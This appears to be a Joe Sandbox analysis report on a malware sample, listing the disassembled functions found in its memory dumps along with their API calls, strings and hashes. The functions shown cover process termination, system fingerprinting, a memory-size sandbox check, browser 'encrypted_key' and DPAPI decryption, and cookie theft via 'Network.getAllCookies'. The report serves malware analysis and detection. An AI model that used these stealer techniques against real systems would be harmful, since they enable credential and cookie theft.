Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: ??2@$CrackInternetlstrlen
String ID: <
API String ID: 1683549937-4251816714
Opcode ID: 994daec21f0517629ae22a04d51c011e227e96814832a9a45039b376b6c0c140
Instruction ID: 160db8237089610cf3963e488d7c28046b69bb3d6c402c1973a99714a059ae02
Opcode Fuzzy Hash: 994daec21f0517629ae22a04d51c011e227e96814832a9a45039b376b6c0c140
Instruction Fuzzy Hash: 9F2149B1D00219ABDF14DFA5EC4AADD7B75FF04320F008229F925A7290EB706A19CF95

Function 004199A0 Relevance: 10.6, APIs: 7, Instructions: 60processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004199C5
Process32First.KERNEL32(0040A056,00000128), ref: 004199D9
Process32Next.KERNEL32(0040A056,00000128), ref: 004199F2
OpenProcess.KERNEL32(00000001,00000000,?), ref: 00419A4E
TerminateProcess.KERNEL32(00000000,00000000), ref: 00419A6C
CloseHandle.KERNEL32(00000000), ref: 00419A79
CloseHandle.KERNEL32(0040A056), ref: 00419A88

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
String ID:
API String ID: 2696918072-0
Opcode ID: d164d69eee064959a682f4fee3bb2d75b95a0ad327ad163940014db5e985719e
Instruction ID: 88ad4043d03276f3ee8d31f644ab7db47d0d0c060b431017ba6a9ada5f45e9a4
Opcode Fuzzy Hash: d164d69eee064959a682f4fee3bb2d75b95a0ad327ad163940014db5e985719e
Instruction Fuzzy Hash: 06211A70900258ABDB25DFA1DC98BEEB7B9BF48304F0041C9E509A6290D7789FC4CF51

Function 00417820 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417834
HeapAlloc.KERNEL32(00000000), ref: 0041783B
RegOpenKeyExA.KERNEL32(80000002,02CC2198,00000000,00020119,00000000), ref: 0041786D
RegQueryValueExA.KERNEL32(00000000,02CC5660,00000000,00000000,?,000000FF), ref: 0041788E
RegCloseKey.ADVAPI32(00000000), ref: 00417898

Strings

Windows 11, xrefs: 0041784D

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3466090806-2517555085
Opcode ID: ece6f01e7d5fd4039499d2cf589e258aec5fff7bd7b06dda1c9cbde8cad395cd
Instruction ID: 90abcce2ecfc2a5b8cd512a74185dd25ab23219ddadcc09848e79f4871c60c5e
Opcode Fuzzy Hash: ece6f01e7d5fd4039499d2cf589e258aec5fff7bd7b06dda1c9cbde8cad395cd
Instruction Fuzzy Hash: FD01A274E09304BBEB00DBE4ED49FAE7779EF48700F00419AFA04A7290E7749A40CB55

Function 004178B0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004178C4
HeapAlloc.KERNEL32(00000000), ref: 004178CB
RegOpenKeyExA.KERNEL32(80000002,02CC2198,00000000,00020119,00417849), ref: 004178EB
RegQueryValueExA.KERNEL32(00417849,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0041790A
RegCloseKey.ADVAPI32(00417849), ref: 00417914

Strings

CurrentBuildNumber, xrefs: 00417901

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3466090806-1022791448
Opcode ID: 14ae58864b366c4003c6da9e1b5cfb2a16c067edbf69ef05e192f5cb5c601d9e
Instruction ID: 4c9302de3449b24d107dc6acc84b9b99571be3b3dcaa7f8b3677a924de38e7e6
Opcode Fuzzy Hash: 14ae58864b366c4003c6da9e1b5cfb2a16c067edbf69ef05e192f5cb5c601d9e
Instruction Fuzzy Hash: 51014FB5E45309BBEB00DBE4DC4AFAEB779EF44700F10459AF605A6281E774AA408B91

Function 0040A110 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040A13C
GetFileSizeEx.KERNEL32(000000FF,?), ref: 0040A161
LocalAlloc.KERNEL32(00000040,?), ref: 0040A181
ReadFile.KERNEL32(000000FF,?,00000000,00410447,00000000), ref: 0040A1AA
LocalFree.KERNEL32(00410447), ref: 0040A1E0
CloseHandle.KERNEL32(000000FF), ref: 0040A1EA

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: a501a1be7f016b5cb91172ca14ff62cfed5f90a871d90683b41ae69171fc1efd
Instruction ID: e28607e9d9a2a96074382c0c0d30a82733061daf82e5a8752830093732aacc78
Opcode Fuzzy Hash: a501a1be7f016b5cb91172ca14ff62cfed5f90a871d90683b41ae69171fc1efd
Instruction Fuzzy Hash: 9731FC74A01209EFDB14CF94D845BEE77B5AB48304F10815AE911AB3D0D778AA91CFA6

Function 00401220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040123E
__aulldiv.LIBCMT ref: 00401258
__aulldiv.LIBCMT ref: 00401266
ExitProcess.KERNEL32 ref: 00401294

Strings

@, xrefs: 00401233

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: 878a90f34e096d30e7d89448c69a574e23fa6b892c1598a4a852eafceae412f3
Instruction ID: 198c605b63268064c6e3321c907f2861ebf30c0b4d659eb8408d118d522d9ff8
Opcode Fuzzy Hash: 878a90f34e096d30e7d89448c69a574e23fa6b892c1598a4a852eafceae412f3
Instruction Fuzzy Hash: 88014BF0D44308BAEB10DFE0DD4ABAEBB78AB14705F20849EE604B62D0D6785581875D

Function 61E4C7C5 Relevance: 8.0, APIs: 4, Strings: 1, Instructions: 467COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 61E4C91F
memcmp.MSVCRT ref: 61E4C973
memcmp.MSVCRT ref: 61E4C9F2
memcmp.MSVCRT ref: 61E4CC23

Strings

0, xrefs: 61E4CC0C

Memory Dump Source

Source File: 00000000.00000002.2771208385.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.2771175630.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771281770.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771316744.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771353251.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771383427.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771418006.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771418006.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771478338.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_5BQwrSLxIZ.jbxd

Similarity

API ID: memcmp
String ID: 0
API String ID: 1475443563-4108050209
Opcode ID: 5e6f3149d2315a7f97a97c29b0eb816d1210dd2dcce0a1c73a13da43e11864dd
Instruction ID: 3bb57cbd4086e38ca070a1eb41e2420ec87b0c0feb17810d174f813009c16240
Opcode Fuzzy Hash: 5e6f3149d2315a7f97a97c29b0eb816d1210dd2dcce0a1c73a13da43e11864dd
Instruction Fuzzy Hash: 66127D70F05255CFEB05CFA8E484789BBF1AF48318F25C1A9D845AB356D774E88ACB80

Function 0040A430 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 97COMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0040A110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040A13C
Part of subcall function 0040A110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 0040A161
Part of subcall function 0040A110: LocalAlloc.KERNEL32(00000040,?), ref: 0040A181
Part of subcall function 0040A110: ReadFile.KERNEL32(000000FF,?,00000000,00410447,00000000), ref: 0040A1AA
Part of subcall function 0040A110: LocalFree.KERNEL32(00410447), ref: 0040A1E0
Part of subcall function 0040A110: CloseHandle.KERNEL32(000000FF), ref: 0040A1EA

Part of subcall function 00418FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418FE2

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 0040A489

Part of subcall function 0040A210: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 0040A23F
Part of subcall function 0040A210: LocalAlloc.KERNEL32(00000040,?,?,?,00404F3E,00000000,?), ref: 0040A251
Part of subcall function 0040A210: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 0040A27A
Part of subcall function 0040A210: LocalFree.KERNEL32(?,?,?,?,00404F3E,00000000,?), ref: 0040A28F

memcmp.MSVCRT(?,DPAPI,00000005), ref: 0040A4E2

Part of subcall function 0040A2B0: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 0040A2D4
Part of subcall function 0040A2B0: LocalAlloc.KERNEL32(00000040,00000000), ref: 0040A2F3
Part of subcall function 0040A2B0: memcpy.MSVCRT(?,?,?), ref: 0040A316
Part of subcall function 0040A2B0: LocalFree.KERNEL32(?), ref: 0040A323

Strings

DPAPI, xrefs: 0040A4D9
, xrefs: 0040A511
"encrypted_key":", xrefs: 0040A480

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpymemcmpmemcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 3731072634-738592651
Opcode ID: 1908ccc1d0f64cbc2be7bd173389719197608843f6b8f615f5302debd0dde3d0
Instruction ID: 27b9d937d1eb2b37959d1b0821c640950517226354c316aa9f1795df4e4508dc
Opcode Fuzzy Hash: 1908ccc1d0f64cbc2be7bd173389719197608843f6b8f615f5302debd0dde3d0
Instruction Fuzzy Hash: 323152B6D00209ABCF04DBD4DC45AEFB7B8BF58304F44456AE901B7281E7389A54CB6A

Function 00417F90 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417FC7
HeapAlloc.KERNEL32(00000000), ref: 00417FCE
RegOpenKeyExA.KERNEL32(80000002,02CC1C90,00000000,00020119,?), ref: 00417FEE
RegQueryValueExA.KERNEL32(?,02CC5DB8,00000000,00000000,000000FF,000000FF), ref: 0041800F
RegCloseKey.ADVAPI32(?), ref: 00418022

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: 7a9c0ba5048ddb27ec33de3f8be0389340df971bddb9b3c1683f2c2c2fb7b9da
Instruction ID: 7366865410052b2090c980cb0782fc53e6cc971cacc9a0cbb18d91746b71e1a2
Opcode Fuzzy Hash: 7a9c0ba5048ddb27ec33de3f8be0389340df971bddb9b3c1683f2c2c2fb7b9da
Instruction Fuzzy Hash: 981151B1E45209EBD700CF94DD45FBFBBB9EB48B11F10421AF615A7280E77959048BA2

Function 6C8AF360 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 449COMMON

Download Yara Rule

APIs

Part of subcall function 6C8DC710: setsockopt.WS2_32(?,00000006,00000001,00000004,00000004), ref: 6C8DC72F
Part of subcall function 6C8DC710: WSAGetLastError.WS2_32(?,00000004,00000020), ref: 6C8DC73C

closesocket.WS2_32(?), ref: 6C8AF76A
closesocket.WS2_32(?), ref: 6C8AF7A8
closesocket.WS2_32(?), ref: 6C8AFA6C

Strings

a Display implementation returned an error unexpectedly/rustc/f6e511eec7342f59a25f7c0534f1dbea00d01b14\library\alloc\src\string.rs, xrefs: 6C8AFA3D

Memory Dump Source

Source File: 00000000.00000002.2771555815.000000006C8A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000000.00000002.2771520963.000000006C8A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771618992.000000006C901000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771671921.000000006C947000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771707980.000000006C949000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8a0000_5BQwrSLxIZ.jbxd

Similarity

API ID: closesocket$ErrorLastsetsockopt
String ID: a Display implementation returned an error unexpectedly/rustc/f6e511eec7342f59a25f7c0534f1dbea00d01b14\library\alloc\src\string.rs
API String ID: 1009131482-2006489008
Opcode ID: 9f6aaf8060710e90c1ecc6a2d46f0e4bd2e4eb431c2bfd42a04dcdaad0f3c0c5
Instruction ID: 80f79d0d6fe01cc1ce748634deb08cb6b2368edb6c992c02039c540bb643ee64
Opcode Fuzzy Hash: 9f6aaf8060710e90c1ecc6a2d46f0e4bd2e4eb431c2bfd42a04dcdaad0f3c0c5
Instruction Fuzzy Hash: 8D2256B0500B059FE320CF24C984B97BBE5BF09318F048A2DD9AA87B91E775F549CB91

Function 6C8A1F30 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 307COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 6C8A1F7E
closesocket.WS2_32(?), ref: 6C8A21B9
closesocket.WS2_32(?), ref: 6C8A22D9

Part of subcall function 6C8AAC00: HeapFree.KERNEL32(00000000,0000000C), ref: 6C8DEBD8

Strings

{"id": 1, "method": "Network.getAllCookies"}Failed to convert result to CStringmy_library\src\lib.rs, xrefs: 6C8A209C

Memory Dump Source

Source File: 00000000.00000002.2771555815.000000006C8A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000000.00000002.2771520963.000000006C8A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771618992.000000006C901000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771671921.000000006C947000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771707980.000000006C949000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8a0000_5BQwrSLxIZ.jbxd

Similarity

API ID: closesocket$FreeHeap_strlen
String ID: {"id": 1, "method": "Network.getAllCookies"}Failed to convert result to CStringmy_library\src\lib.rs
API String ID: 4163113487-637580131
Opcode ID: c9f3c7513849a4553e58dcde7613461788a1583c1848184e4b220c45436a5c51
Instruction ID: f7e9ea17e831b8f8fa4d0e5dca325cf20ee930b1b27b4dee5cf6af24094257a6
Opcode Fuzzy Hash: c9f3c7513849a4553e58dcde7613461788a1583c1848184e4b220c45436a5c51
Instruction Fuzzy Hash: D5C147B5410B049BD3B0DF69CA88B97B7E8BB44308F404D2DE9AA87E51EB74F549CB50

Function 61E541A0 Relevance: 6.8, APIs: 2, Strings: 2, Instructions: 772stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 61E541DC
strcmp.MSVCRT ref: 61E543C4

Part of subcall function 61E0AE03: free.MSVCRT ref: 61E0AE3D

Strings

@, xrefs: 61E54291
rnal, xrefs: 61E547EC

Memory Dump Source

Source File: 00000000.00000002.2771208385.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.2771175630.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771281770.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771316744.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771353251.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771383427.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771418006.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771418006.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771478338.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_5BQwrSLxIZ.jbxd

Similarity

API ID: strcmp$free
String ID: @$rnal
API String ID: 3401341699-826727331
Opcode ID: 4b7b8267f4f8af1002b460a8db32900f8319c3f7ef3eb0612b1fb28364bac4b8
Instruction ID: 0ce42be2a52064457b78e7c31244c3f07411abd0ae8e299ce13c5538bbb98839
Opcode Fuzzy Hash: 4b7b8267f4f8af1002b460a8db32900f8319c3f7ef3eb0612b1fb28364bac4b8
Instruction Fuzzy Hash: 70822470A04259CFEB60CF68C880B89BBF1BF45308F2481EAD8589B352E775D9A5CF51

Function 0040A990 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 00418CF0: GetSystemTime.KERNEL32(?,02CC1280,004205B6,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418D16

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040AA11
lstrlenA.KERNEL32(00000000,00000000), ref: 0040AB2F
lstrlenA.KERNEL32(00000000), ref: 0040ADEC

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 0040A560: memcmp.MSVCRT(?,v20,00000003), ref: 0040A57D

DeleteFileA.KERNEL32(00000000), ref: 0040AE73

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

